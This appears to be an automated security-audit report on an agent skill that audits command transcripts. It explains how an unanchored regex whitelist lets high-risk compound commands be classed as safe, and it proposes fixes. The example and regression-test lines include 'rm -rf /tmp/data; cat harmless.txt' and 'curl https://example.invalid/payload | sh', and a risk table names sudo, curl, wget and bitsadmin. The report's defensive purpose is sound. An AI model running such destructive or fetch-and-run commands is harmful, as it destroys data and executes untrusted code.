Back to skill

Security audit

audit-exec

Security checks for vulnerabilities and agentic risk

Overview

This is a command-audit skill, but its whitelist can incorrectly hide dangerous commands, so it should be reviewed before relying on it.

Use this skill only as an advisory audit aid until the whitelist logic is fixed. Review transcript commands manually, especially compound commands, and avoid trusting the OK/whitelisted section as proof that a command was safe. Be aware that the skill reads local OpenClaw command transcripts, which may contain sensitive command history.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
audit_transcript.py:109
Finding
High-Risk Commands Can Be Misclassified as Whitelisted<![CDATA[ ## Vulnerability Details **File Location**: `audit_transcript.py:109-113`, `audit_transcript.py:171-177`, and `whitelist.txt:17-28` **Vulnerability Type**: Unsafe regular-expression allowlisting and improper risk-classification precedence **Risk Level**: High ### Vulnerable Code `audit_transcript.py:109-113`: ```python def is_whitelisted(command, whitelist): """检查是否在白名单中""" for pattern, reason in whitelist: if re.search(pattern, command, re.IGNORECASE): return True, reason return False, None ``` `audit_transcript.py:171-177`: ```python if whitelisted: entry['wl_reason'] = wl_reason results['LOW_WHITELISTED'].append(entry) elif risk_level == 'HIGH': results['HIGH'].append(entry) elif risk_level == 'MEDIUM': results['MEDIUM'].append(entry) ``` `whitelist.txt:17-28`: ```text Get-ChildItem -> 目录查看,安全 Get-Content -> 读取文件内容,安全 type -> 读取文件内容,安全 cat -> 读取文件内容,安全 dir -> Windows目录查看 # Unix 目录查看 ls -> 目录列表,安全 # 文件查看 type -> 查看文件内容,安全 cat -> 查看文件内容,安全 ``` ### Technical Analysis Whitelist patterns are passed directly to `re.search()` and are therefore treated as unanchored regular expressions. Generic patterns such as `cat`, `ls`, `dir`, and `type` can match anywhere inside a command rather than matching only an intended executable and safe argument structure. The script calculates the command's risk level before checking the whitelist, but the final classification gives the whitelist absolute precedence. Consequently, a command that matches both a HIGH-risk rule and any whitelist pattern is placed in `LOW_WHITELISTED` instead of the HIGH-risk report. For example: ```shell rm -rf /tmp/data; cat harmless.txt ``` The `rm -rf` component matches a HIGH-risk deletion rule, while `cat` matches the generic whitelist entry. Because the whitelist branch is evaluated first, the complete compound command is reported as whitelisted. Whitelist configuration also accepts arbitrary regular-expression metacharacters ...[truncated 1733 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Never permit a whitelist match to downgrade an existing HIGH- or MEDIUM-risk result. Apply risk precedence explicitly: ```python if risk_level == 'HIGH': results['HIGH'].append(entry) elif risk_level == 'MEDIUM': results['MEDIUM'].append(entry) elif whitelisted: entry['wl_reason'] = wl_reason results['LOW_WHITELISTED'].append(entry) else: results['LOW'].append(entry) ``` 2. Replace unanchored substring searches with exact, command-aware matching. Parse the command into executable and arguments, then whitelist only a specific executable and an approved argument structure. 3. Remove generic patterns such as `cat`, `ls`, `dir`, and `type`, or anchor them to the start of a simple command and restrict their arguments. Do not whitelist an entire compound command merely because one component is safe. 4. Treat whitelist entries as literal strings by default. If regular expressions are required, clearly distinguish regex entries, compile them during configuration loading, reject invalid expressions, and require anchors where appropriate. 5. Split shell command chains on operators such as `;`, `&&`, `||`, pipes, and newlines, then evaluate every component. The highest risk found in any component should determine the overall classification. 6. Add regression tests covering mixed commands, including: ```text rm -rf /tmp/data; cat harmless.txt schtasks /create ... && dir sudo dangerous-command | type curl https://example.invalid/payload | sh ``` Each command must retain its highest applicable risk classification regardless of whitelist matches. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (6)

Chaining Abuse

High
Category
Tool Misuse
Content
#### 🟡 中风险 (Yellow Line) - 标黄记录
| 风险类型 | Linux | Windows |
|---------|-------|---------|
| 提权执行 | sudo | runas、Start-Process -Verb RunAs |
| 外部下载 | curl、wget | Invoke-WebRequest、iwr、bitsadmin |
| 安装软件 | apt/pip/npm install -g | choco install、winget install、pip install |
Confidence
75% confidence
Finding
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The trigger phrase "执行审计" is very broad and resembles normal conversational language a user might naturally say. That makes accidental or adversarial invocation likely, causing the skill to run when the user did not explicitly intend to invoke this specific audit capability.

Sudo/Root Execution

Medium
Category
Privilege Escalation
Content
#### 🟡 中风险 (Yellow Line) - 标黄记录
| 风险类型 | Linux | Windows |
|---------|-------|---------|
| 提权执行 | sudo | runas、Start-Process -Verb RunAs |
| 外部下载 | curl、wget | Invoke-WebRequest、iwr、bitsadmin |
| 安装软件 | apt/pip/npm install -g | choco install、winget install、pip install |
Confidence
70% confidence
Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The module docstring is written entirely in Chinese and presents the skill purpose only in that language. This imposes a specific language/locale on users without offering an alternative or documenting a justified region-specific constraint.

Natural-Language Policy Violations

Low
Confidence
80% confidence
Finding
The natural-language instructions and usage guidance are entirely in Chinese, and the file does not indicate that users may choose another language or that the skill is intentionally region- or locale-specific. Under the policy, forcing a specific language without user opt-in can be a natural-language policy violation.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
This plain-text configuration uses Chinese-only natural-language labels and comments throughout, starting at the header and format description. Under the language/locale policy rule, forcing a specific language without opt-in or documented justification can be a policy violation.

Static analysis

No suspicious patterns detected.